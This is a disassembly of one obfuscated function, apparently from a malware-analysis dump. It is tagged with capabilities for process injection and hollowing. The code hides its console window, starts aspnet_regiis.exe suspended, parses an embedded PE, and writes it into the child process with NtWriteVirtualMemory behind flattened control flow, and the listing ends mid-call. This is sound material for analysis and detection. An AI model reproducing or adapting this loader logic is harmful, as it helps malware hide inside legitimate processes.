Function at 0x10003d70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x100f4000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
add edx, 0xa26585fb
sub edx, 1
sub edx, 0xa26585fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x14d], al
mov dword [ebp - 0x154], 0xbeb21da6
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x84313703
je 0x100068f8
jmp 0x10003deb
mov eax, dword [ebp - 0x158]
sub eax, 0x87c42ae9
je 0x10005ef4
jmp 0x10003e01
mov eax, dword [ebp - 0x158]
sub eax, 0x8a61929d
je 0x100066fe
jmp 0x10003e17
mov eax, dword [ebp - 0x158]
sub eax, 0x8a8cebb0
je 0x10006328
jmp 0x10003e2d
mov eax, dword [ebp - 0x158]
sub eax, 0x8bcd5b50
je 0x10004b64
jmp 0x10003e43
mov eax, dword [ebp - 0x158]
sub eax, 0x8e6357db
je 0x10006c23
jmp 0x10003e59
mov eax, dword [ebp - 0x158]
sub eax, 0x8ec211c8
je 0x10004ed4
jmp 0x10003e6f
mov eax, dword [ebp - 0x158]
sub eax, 0x91ac0023
je 0x10005926
jmp 0x10003e85
mov eax, dword [ebp - 0x158]
sub eax, 0x91ea6517
je 0x10006539
jmp 0x10003e9b
mov eax, dword [ebp - 0x158]
sub eax, 0x92d93691
je 0x1000600b
jmp 0x10003eb1
mov eax, dword [ebp - 0x158]
sub eax, 0x95bb2e50
je 0x100059f9
jmp 0x10003ec7
mov eax, dword [ebp - 0x158]
sub eax, 0x96022c65
je 0x10007039
jmp 0x10003edd
mov eax, dword [ebp - 0x158]
sub eax, 0x99c1edd1
je 0x10004db5
jmp 0x10003ef3
mov eax, dword [ebp - 0x158]
sub eax, 0x9d11977d
je 0x100069e4
jmp 0x10003f09
mov eax, dword [ebp - 0x158]
sub eax, 0x9ec1fc48
je 0x10006683
jmp 0x10003f1f
mov eax, dword [ebp - 0x158]
sub eax, 0xa505d721
je 0x10007093
jmp 0x10003f35
mov eax, dword [ebp - 0x158]
sub eax, 0xa71673e8
je 0x1000657c
jmp 0x10003f4b
mov eax, dword [ebp - 0x158]
sub eax, 0xaafb22cf
je 0x100062c8
jmp 0x10003f61
mov eax, dword [ebp - 0x158]
sub eax, 0xab1d067c
je 0x10005579
jmp 0x10003f77
mov eax, dword [ebp - 0x158]
sub eax, 0xad6d5f0e
je 0x10006a7c
jmp 0x10003f8d
mov eax, dword [ebp - 0x158]
sub eax, 0xae35d7f4
je 0x10004f4a
jmp 0x10003fa3
mov eax, dword [ebp - 0x158]
sub eax, 0xae8e83b5
je 0x10005c8e
jmp 0x10003fb9
mov eax, dword [ebp - 0x158]
sub eax, 0xaf95a955
je 0x1000706f
jmp 0x10003fcf
mov eax, dword [ebp - 0x158]
sub eax, 0xb15c7ada
je 0x10006ef1
jmp 0x10003fe5
mov eax, dword [ebp - 0x158]
sub eax, 0xb475cda8
je 0x1000502d
jmp 0x10003ffb
mov eax, dword [ebp - 0x158]
sub eax, 0xb57dc29e
je 0x10005e82
jmp 0x10004011
mov eax, dword [ebp - 0x158]
sub eax, 0xb5e93b41
je 0x10005f2e
jmp 0x10004027
mov eax, dword [ebp - 0x158]
sub eax, 0xb839408e
je 0x10006ec3
jmp 0x1000403d
mov eax, dword [ebp - 0x158]
sub eax, 0xb8bbef51
je 0x10005001
jmp 0x10004053
mov eax, dword [ebp - 0x158]
sub eax, 0xbcd23a16
je 0x10006176
jmp 0x10004069
mov eax, dword [ebp - 0x158]
sub eax, 0xbce3d336
je 0x10006e22
jmp 0x1000407f
mov eax, dword [ebp - 0x158]
sub eax, 0xbeb21da6
je 0x10004a24
jmp 0x10004095
mov eax, dword [ebp - 0x158]
sub eax, 0xc0c86363
je 0x100069d5
jmp 0x100040ab
mov eax, dword [ebp - 0x158]
sub eax, 0xc28e1ee1
je 0x10005cbc
jmp 0x100040c1
mov eax, dword [ebp - 0x158]
sub eax, 0xc2b87c29
je 0x10004c9a
jmp 0x100040d7
mov eax, dword [ebp - 0x158]
sub eax, 0xc3910d66
je 0x1000501e
jmp 0x100040ed
mov eax, dword [ebp - 0x158]
sub eax, 0xc61394a6
je 0x10005a9c
jmp 0x10004103
mov eax, dword [ebp - 0x158]
sub eax, 0xc994dd43
je 0x100050e2
jmp 0x10004119
mov eax, dword [ebp - 0x158]
sub eax, 0xca4c0ee3
je 0x10005ee5
jmp 0x1000412f
mov eax, dword [ebp - 0x158]
sub eax, 0xce761a76
je 0x100066c7
jmp 0x10004145
mov eax, dword [ebp - 0x158]
sub eax, 0xcf315599
je 0x10005bf1
jmp 0x1000415b
mov eax, dword [ebp - 0x158]
sub eax, 0xd0d4ce63
je 0x10006f0c
jmp 0x10004171
mov eax, dword [ebp - 0x158]
sub eax, 0xd24bf36f
je 0x10004cee
jmp 0x10004187
mov eax, dword [ebp - 0x158]
sub eax, 0xd43d32dc
je 0x10006809
jmp 0x1000419d
mov eax, dword [ebp - 0x158]
sub eax, 0xd7a0bc1a
je 0x100054fa
jmp 0x100041b3
mov eax, dword [ebp - 0x158]
sub eax, 0xdac0dfaa
je 0x10005dc8
jmp 0x100041c9
mov eax, dword [ebp - 0x158]
sub eax, 0xdc73dd72
je 0x10006ca0
jmp 0x100041df
mov eax, dword [ebp - 0x158]
sub eax, 0xdc96348e
je 0x10006852
jmp 0x100041f5
mov eax, dword [ebp - 0x158]
sub eax, 0xde49cab6
je 0x1000672b
jmp 0x1000420b
mov eax, dword [ebp - 0x158]
sub eax, 0xdf106a93
je 0x10006aa9
jmp 0x10004221
mov eax, dword [ebp - 0x158]
sub eax, 0xe118c600
je 0x10005fc6
jmp 0x10004237
mov eax, dword [ebp - 0x158]
sub eax, 0xe46193f9
je 0x10005c00
jmp 0x1000424d
mov eax, dword [ebp - 0x158]
sub eax, 0xe4a0b454
je 0x10005a66
jmp 0x10004263
mov eax, dword [ebp - 0x158]
sub eax, 0xe76836fe
je 0x10005676
jmp 0x10004279
mov eax, dword [ebp - 0x158]
sub eax, 0xe9365a2d
je 0x10005f0e
jmp 0x1000428f
mov eax, dword [ebp - 0x158]
sub eax, 0xe9f9ce25
je 0x10006d79
jmp 0x100042a5
mov eax, dword [ebp - 0x158]
sub eax, 0xea56b745
je 0x10006c91
jmp 0x100042bb
mov eax, dword [ebp - 0x158]
sub eax, 0xf1650db3
je 0x100066a1
jmp 0x100042d1
mov eax, dword [ebp - 0x158]
sub eax, 0xf25b20fe
je 0x1000678b
jmp 0x100042e7
mov eax, dword [ebp - 0x158]
sub eax, 0xf4bc53fc
je 0x1000607f
jmp 0x100042fd
mov eax, dword [ebp - 0x158]
sub eax, 0xf5fd07fa
je 0x100060f5
jmp 0x10004313
mov eax, dword [ebp - 0x158]
sub eax, 0xf76d9948
je 0x1000700c
jmp 0x10004329
mov eax, dword [ebp - 0x158]
sub eax, 0xf7d78999
je 0x100053db
jmp 0x1000433f
mov eax, dword [ebp - 0x158]
sub eax, 0xf87846a5
je 0x10006261
jmp 0x10004355
mov eax, dword [ebp - 0x158]
sub eax, 0xfa0bec1d
je 0x10004fb0
mov bl, byte [ebp - 0x14e]
mov dh, byte [ebp - 0x14d]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xff145b80
mov ecx, 0x702501fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010c0
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.100010c0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xd9000
call section..text
add esp, 8
mov eax, dword [ebp - 0x14c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x154], 0xc2b87c29
jmp 0x100070bd
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0xdc73dd72
mov ecx, 0x1566c3f2
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x154], 0xfc82fcc7
jmp 0x100070bd
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10008560
add esp, 0xc
mov eax, dword [ebp - 0x138]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10008560
add esp, 0xc
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xc4], eax
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x71217fc7
mov ecx, 0x34596d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
sub edx, 0xf1229e47
sub edx, 1
add edx, 0xf1229e47
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5893e838
mov ecx, 0xae35d7f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0xc4]
cmp dword [eax + 0x70], 0
setne al
and al, 1
mov byte [ebp - 0xbd], al
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
mov edx, eax
sub edx, 0xebd19e0b
sub edx, 1
add edx, 0xebd19e0b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5893e838
mov ecx, 0xfa0bec1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x130]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xc3910d66
jmp 0x100070bd
mov dword [ebp - 0x154], 0xb475cda8
jmp 0x100070bd
mov eax, dword [ebp - 0x130]
mov edx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x154], 0x72fc4a5b
jmp 0x100070bd
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xb8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0x494f8cdf
mov ecx, 0x560238a2
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
sub edx, 0xf52ea526
sub edx, 1
add edx, 0xf52ea526
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4882fb2a
mov ecx, 0x4634b0ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
mov edx, eax
add edx, 0x4509c666
sub edx, 1
sub edx, 0x4509c666
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ed47738
mov ecx, 0x16b6d56e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xff87036d
jmp 0x100070bd
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
sub edx, 0xe8aa96e4
sub edx, 1
add edx, 0xe8aa96e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1165ad82
mov ecx, 0x499bd56b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x154], 0xed76962
jmp 0x100070bd
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x80], eax
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
mov edx, eax
add edx, 0x8e59e457
sub edx, 1
sub edx, 0x8e59e457
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb15c7ada
mov ecx, 0xe4a0b454
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0x7d058d8f
jmp 0x100070bd
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0d4ce63
mov ecx, 0x378d5d62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0xe46193f9
jmp 0x100070bd
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x7c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003b90
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x118]
mov esi, dword [eax]
mov eax, dword [ebp - 0x108]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x3bec7ead
mov ecx, 0xfacffd51
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov esi, dword [ebp - 0x70]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0x74]
mov eax, 0x3bec7ead
mov ecx, 0xc28e1ee1
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
add edx, 0x91879227
sub edx, 1
sub edx, 0x91879227
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1c127e59
mov ecx, 0xb574ed0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0x3955d01
jmp 0x100070bd
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x60], eax
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
mov edx, eax
add edx, 0x8fdd8292
sub edx, 1
sub edx, 0x8fdd8292
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x292c8845
mov ecx, 0xca4c0ee3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0x87c42ae9
jmp 0x100070bd
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x60]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x3a66d000
jmp 0x100070bd
mov eax, dword [ebp - 0x120]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x59], al
mov dword [ebp - 0x154], 0xb5e93b41
jmp 0x100070bd
mov dl, byte [ebp - 0x59]
mov eax, 0x55452a9
mov ecx, 0x5653fec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dl, byte [ebp - 0x4d]
mov eax, 0xde49cab6
mov ecx, 0x44040970
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x5c81c04a
sub ecx, 8
sub ecx, 0x5c81c04a
shr ecx, 1
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xed759875
sub ecx, eax
sub ecx, 0xed759875
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xf4bc53fc
jmp 0x100070bd
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
sub edx, 0xfcfbceb4
sub edx, 1
add edx, 0xfcfbceb4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf76d9948
mov ecx, 0xf5fd07fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
mov edx, ecx
sub edx, 0xdf5499b6
sub edx, 1
add edx, 0xdf5499b6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf76d9948
mov ecx, 0xbcd23a16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0x620149ef
jmp 0x100070bd
mov dl, byte [ebp - 0x41]
mov eax, 0x4c3e5421
mov ecx, 0x69156adb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x40], eax
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96022c65
mov ecx, 0x8a8cebb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov dword [ebp - 0x154], 0x1d4ad5d9
jmp 0x100070bd
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x154], 0xa71673e8
jmp 0x100070bd
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x154], 0x7f2d3b4c
jmp 0x100070bd
mov dword [ebp - 0x154], 0x3ffafa1
jmp 0x100070bd
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xce761a76
jmp 0x100070bd
mov dword [ebp - 0x154], 0xf4bc53fc
jmp 0x100070bd
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
add ecx, 0x1b4cfcdb
add ecx, eax
sub ecx, 0x1b4cfcdb
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x322094e1
jmp 0x100070bd
mov dword [ebp - 0x154], 0x55452a9
jmp 0x100070bd
mov eax, dword [ebp - 0x144]
mov edx, dword [eax]
mov eax, 0x9d11977d
mov ecx, 0x4c65465a
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [0x100f5338]
mov ecx, dword [0x100f5334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42adeaac
mov ecx, 0xdc96348e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x100f5338]
mov eax, dword [0x100f5334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x42adeaac
mov ecx, 0x34dc1e79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100070bd
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
